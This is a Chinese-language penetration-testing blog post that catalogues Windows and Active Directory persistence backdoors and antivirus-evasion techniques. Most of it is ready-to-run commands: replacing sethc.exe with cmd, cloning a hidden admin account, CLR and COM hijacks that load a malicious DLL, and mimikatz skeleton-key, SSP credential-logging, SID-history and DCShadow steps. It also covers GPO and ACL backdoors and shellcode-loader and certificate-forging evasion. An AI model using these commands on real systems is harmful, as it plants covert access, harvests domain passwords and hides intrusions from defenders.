持久化后门

2023/04/27 渗透 共 8810 字,约 26 分钟

驻留、免杀

0x01 持久化后门

1.程序替换

很久很久之前的方法,像是粘滞键(5次shift)、设置中心(Windows+U键)等等,在低版本系统中可以通过替换这些程序为我们想要的比如cmd.exe,就可以做到最简单的后门。

其中
粘滞键:C:\Windows\System32\sethc.exe
设置中心:C:\Windows\System32\utilman.exe
将cmd.exe复制到目标文件目录,改名后覆盖。

替换不常用服务的工具:msf自带exploit/windows/local/persistence_service

2.账户克隆(rid hijack)

Windows使用安全帐户管理器(SAM)来存储本地用户和内置帐户的安全描述符,每个帐户都有一个指定的RID来标识它。我们新建用户,之后导出注册表,并用administrator的f值替换新用户的f值,删掉新用户,再导入注册表,新用户可以正常使用,但net user看不到,也删不掉,只能通过注册表操作。

net user lce$ lce.123 /add  //创建匿名用户
net localgroup administrators lce$ /add //加入管理员组
目标注册表键值位置:HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users
//PS:SAM键值默认是system权限修改,所以修改一下SAM键的权限,给予administrator完全控制和读取权限
导出lce$的值,并把administrator用户对应的项的F值复制到lce$对应项中的F
net user lce$ /del //删掉lce$
使用导出的注册表文件,用先前导出的注册表键值对注册表进行修改,重新还原之前的匿名用户  //还原匿名用户lce$

相关工具:msfpost/windows/manage/rid_hijackWindows-User-Clone.ps1Create-Clone.ps1

3.自启动

注册表自启动项

注册表简介:类似一种树状数据库。

HKEY_CLASSES_ROOT    用于存储一些文档类型、类、类的关联属性
HKEY_CURRENT_CONFIG    用户存储有关本地计算机系统的当前硬件配置文件信息
HKEY_CURRENT_USER    用于存储当前用户配置项
HKEY_CURRENT_USER_LOCAL_SETTINGS    用于存储当前用户对计算机的配置项
HKEY_LOCAL_MACHINE    用于存储当前用户物理状态
HKEY_USERS    用于存储新用户的默认配置项

注册表自启动键值位置:

修改自动项,达到开机自启动恶意程序
用户:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
管理员:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run

开始菜单启动项

指示启动文件夹的位置,其中User Shell Folders优先于Shell Folders。

修改注册表,可以修改开始菜单启动项
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders

计划任务

通过Window系统的任务计划程序功能实现定时启动某个任务程序,Windows下计划任务的命令有:at和schtasks,其中at命令在win7等高版本windows中不能将任务放在前台执行,也就是只会打开一个后台进程,而schtasks是将定时的任务在前台执行。

图形化工具:taskschd.msc
命令行工具:schtasks.exe
SCHTASKS /parameter [arguments]
/Create         创建新计划任务
/Delete         删除计划任务
/Query          显示所有计划任务
/Run            运行计划任务
/End            中止当前正在运行的计划任务
比如:
cmd> SCHTASKS /Create /TN update /TR xxx(要执行的命令)  /DELAY ONLOGON /F /RL HIGHEST

4.clr hijack

CLR(Common Language Runtime公共语言运行库)和Java虚拟机一样是一个运行时环境,是一个可由多种编程语言使用的运行环境。CLR是 .Net Framework的主要执行引擎,无需管理员权限的后门,并能够劫持所有.Net程序,执行有些程序时会默认会调用.Net程序,从而使我们的后门自动触发。

cmd> SET COR_ENABLE_PROFILING=1
cmd> SET COR_PROFILER={11111111-1111-1111-1111-111111111111}   //{11111111-1111-1111-1111-111111111111}表示CLSID可设置为任意数值,只要和系统常用CLSID不冲突
cmd> SET KEY=HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1111-1111-1111-111111111111}\lceServe  //新建子项{11111111-1111-1111-1111-111111111111}\lceServe
cmd> REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F    //新建REG_SZ类型键值ThreadingModel:Apartment
cmd> REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%\evil.dll" /F  //修改默认路径值为evil.dll"的路径
cmd> powershell //启动powershell时执行目标dll
PS需要注册为全局变量不然只能在这个cmd窗口劫持
cmd> SETX COR_ENABLE_PROFILING=1 /M
cmd> SETX COR_PROFILER={11111111-1111-1111-1111-111111111111} /M

自动化工具CLR-Injection.bat

5 .com hijack

Component Object Model(组件对象模型),是微软的一套软件组件的二进制接口标准,使得跨编程语言的进程间通信、动态对象创建成为可能。利用COM劫持技术,通过修改CLSID下的注册表键值,实现对CAccPropServicesClass和MMDeviceEnumerator劫持,而系统很多正常程序启动时需要调用这两个实例。

首先在%APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\目录下放入恶意dll文件   //若Installer文件夹不存在,则依次创建Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}
然后修改注册表在HKCU\Software\Classes\CLSID\下创建项{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}
然后再创建一个子项lceServer值默为dll文件路径再创建一个键ThreadingModel键值为Apartment
之后可以通过打开相关程序比如iexplore.exe来调用恶意dll

相关工具COM-Object-hijacking

6.junction folder

文件夹命名为:name.{clsid}。当浏览时,就会执行对应的clsid的dll。

7.msdtc

Distributed Transaction Coordinator,微软分布式传输协调程序,Windows系统默认启动该服务。计算机加入域,MSDTC服务启动时,会搜索注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC\MTxOCI,并加载3个DLL:oci.dll、SQLLib80.dll、xa80.dll。但是默认oci.dll是没有的,可以自己在system32下放置一个恶意oci.dll,实现劫持。

除了上面说的一些,还有其他许多方法可以实现dll劫持,继续探索。DLL劫持识别开源工具:Rattler。

8.DSRM

每一个域控都有一个本地管理员账户(并非域的管理员帐户),也就是所谓的目录服务还原模式(DSRM)账户。DSRM的密码是在DC安装时就要设置,很少会被重置。本地用户的hash存在sam文件,而域内用户hash存在ntds.dit。不使用域控的administrator进行pth,使用dsrm用户pth。但是dsrm默认不能pth,但是改了注册表就可以了。默认情况下域控的administrator密码与dsrm是不同的,我们首先同步密码,之后修改注册表。

1.同步密码:
NTDSUTIL 
SET DSRM PASSWORD 
SYNC FROM DOMAIN ACCOUNT <your user like krbtgt> 
Q 
Q
PSWindows Server 2008 需要安装KB961320补丁才支持DSRM密码同步,而Windows Server 2003不支持DSRM密码同步
2.使用mimikatz查看密码是否同步
3.修改注册表允许DSRM账户远程访问:
HKLM\System\CurrentControlSet\Control\Lsa\DSRMAdminLogonBehavior值设置为为2(代表无论哪一种情况,你都可以使用DSRM管理员帐户登录。)   //默认不存在,手动添加
4.使用hash远程登录即可pth
privilege::debug
sekurlsa::pth /domain:w7 /user:Administrator /ntlm:xxxxxxxx

9.SSP

Security Support Provider(安全支持提供程序),是Windows API,用于扩展Windows身份验证机制。lsass进程正在Windows启动期间加载其提供的dll,我们可以通过修改或者替换dll实现与lsass进程进行交互并记录该进程中存储的所有密码信息。

注册SSP DLL方式:
mimikatz提供mimilib.dll,并放到与lsass进程(System32)相同的位置C:\Windows\System32\
reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ   //修改注册表项以包括新的安全支持提供程序mimilib
注册表已被篡改并且DLL存储在系统中,因此在重新启动后继续存在。当域用户再次通过系统进行身份验证时,将创建一个C:\Windows\System32\kiwissp.log文件,该文件将记录帐户的凭据。

内存注入方式:
(不需将mimilib.dll放入磁盘或修改注册表,重启后失效)
privilege::debug
misc::memssp
在用户再次通过系统认证时,会创建C:\Windows\System32\mimilsa.log文件,包含用户纯文本密码。

PS:除了使用mimikatz以外,也可以使用后渗透神器Empire或者powersploit来实现这两种方式。

10.sid history

每个用户帐号都有一个关联的安全标识符SID,作用是跟踪安全主体控制用户连接资源时的访问权限,也就是在域迁移过程中保持域用户的访问权限,如果迁移后用户的SID值改变,系统会将原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限。我们的目的是使用mimikatz将SID History属性添加到任意用户的SID History属性中,以获得管理员权限。

privilege::debug
sid::patch  //修复NTDS服务
sid::add /sam:hacker /new:administrator
sid::clear /sam:hacker  //清除SID History

11.skeleton key

将万能密码注入到lsass.exe中,域内所有用户的原密码和万能密码都可以登录,重启后失效。

privilege::debug
!+                                          //绕过LSA Protection,需要导入驱动mimidrv.sys文件:https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_kernel.c
!processprotect /process:lsass.exe /remove  //绕过LSA Protection
misc::skeleton
之后可以用域内任意账号登录,万能密码默认为mimikatz

PSmimikatz绕过cmdregedit禁用:
privilege::debug
misc::cmd
misc::regedit
misc::taskmgr

12.hook passwordchangenotify

修改密码时,lsa会调用passwordfileter检查是否符合复杂性要求,之后调用passwordchangenotify在系统中同步密码。其中函数PasswordChangeNotify在rassfm.dll中。我们注入一个dll文件,hook掉passwordchangenotify,读取密码。

使用HookPasswordChange.dllHookPasswordChangeNotify.ps1(尾部添加Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll procname lsass
PowerShell.exe -ExecutionPolicy Bypass -File HookPasswordChangeNotify.ps1    //使用powershell运行脚本
C:\Windows\Temp\passwords.txt中记录明文密码

13.dcshadow

防止持久化操作被SIEM等系统记录,伪造一个域控,实行完操作后,将数据同步到真实域控。

lsadump::dcshadow /object:CN=dc,CN=Users,DC=lce,DC=com /attribute:primarygroupid/value:512     //使用system权限添加域管 
lsadump::dcshadow /push     //使用域管权限进行域复制,后同
lsadump::dcshadow /object:CN=dc,CN=Users,DC=lce,DC=com /attribute:sidhistory /value:S-1-5-21-771480511-316148334-622873008-500   //sid history后门

14.acl

方法1:基于注册表ACL后门,在域控制器上将hklm的特定键值分配everyone读取权限,使用DAMP这个工具设置即可。之后在。普通用户机器上读ntlm hash。

首先在域控上修改
import-module Add-RemoteRegBackdoor.ps1 //导入
Add-RemoteRegBackdoor -ComputerName client.external.local -Trustee 'S-1-1-0' -Verbose 
然后普通用户机器上读ntlm hash
import-module RemoteHashRetrieval.ps1   //导入
Get-RemoteLocalAccountHash -ComputerName ad1 -Verbose   //域内普通用户读取域管ntlm hash
之后可以pth等等

方法2:基于域策略文件权限后门,域里机器每过一段时间会访问域控制器的C:\Windows\SYSVOL\sysvol\domain. com\Policies 以更新它们的策略。我们可以配置Policies的文件夹权限为everyone完全控制。

cacls C:\Windows\SYSVOL\sysvol\lce.com\Policies /e /t /c /g "EveryOne":f  //配置policies文件夹权限为everyone完全控制
import-module powerview.ps1 //导入powerview脚本
Get-NETGPO -ComputerName w7 |fl gpcfilesyspath  //查询某台机器对应的策略文件
找到目标文件夹下MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf文件,在文件末尾添加://修改策略
[Registry Values] MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskhost.exe\Debugger=1,c:\windows\system32\calc.exe [Version] signature="$CHICAGO$" Revision=1
gpupdate /force //手动刷新策略触发策略启动计算器

方法3:dcsync后门,在高级功能的安全中把everyone用户设置成完全控制,任意用户可以导出域hash,并pth。

15.其他方式

office系列

基本思路是将恶意dll文件保存到office打开时会调用dll的位置,如%APPDATA%\Microsoft\Word\Startup、%appdata%\Microsoft\AddIns等,然后修改注册表,实现打开office软件加载恶意dll的目的。

windows库

创建clsid;在Windows的xml库文件中插入simplelocation元素。

应用插件和扩展

比如chrome的恶意插件,vs,notepad++等。

其他后门方式也还有很多,多多探索,不局限于这些入门级的后门!

0x02 免杀浅析

1.分离免杀

shellcode loader

通过使用加载器将shellcode与加载程序分开,以此达到分离免杀效果。可以自己造个轮子用,配合编码,免杀效果还可以。在最后我给出我学习写的一个例子仅供参考。 现成的工具有shellcode_launcher-master等。

白加黑

基于Windows的白名单,执行目标代码。比如用msbuild编译执行c#代码,用rundll32执行动态链接库dll文件等等。

2.混淆免杀

编码混淆

使用异或编码、base64、十六进制等等,也可以在生成shellcode时选择加密方式,如msfvenom。有能力的话也可以使用一些偏僻语言编写,能够绕过没有涉及这种语言的杀软。 开源工具:shellcode_encoder。(也可以自己写来用,用python写比较方便)

注入混淆

将shellcode注入到应用进程如putty.exe中。 一些工具:bdf、shellter、Avet、veil。

3.其他

无文件落地

所谓的无文件落地,恶意程序不是以普通文件的方式存在,而是以脚本的形式存在计算机中的注册表中,以此来躲避杀软的检测,并且在Windows启动时都会调用注册表中的命令。因此无文件落地攻击包括两个流程:写入注册表+下载并加载远程代码。这种方式需要编写客户端和服务端,造完轮子后用处很大。

伪造证书签名

一些杀软通过检测证书来判断是否为恶意程序。两种方法伪造证书:添加在文件末尾(Authenticode)和CAT文件(catalog)。 证书伪造工具:SigThief-master

内核数量检测

沙盒检测时为了减少主机资源的占用,分配较少的内核,根据检测内核的数量判断是否存在于被检测环境中。

Tick Count值检测

杀软为了满足用户的需求,一般扫描速度都比较快,以前进行免杀时都是用sleep函数,等到杀软运行完了再执行shellcode。目前基本都会跳过sleep函数,我们可以使用两个GetTickCout()的值来判断是否跳过了sleep函数,以达到检测是否在被检测的环境下。

文档信息

Search

    Table of Contents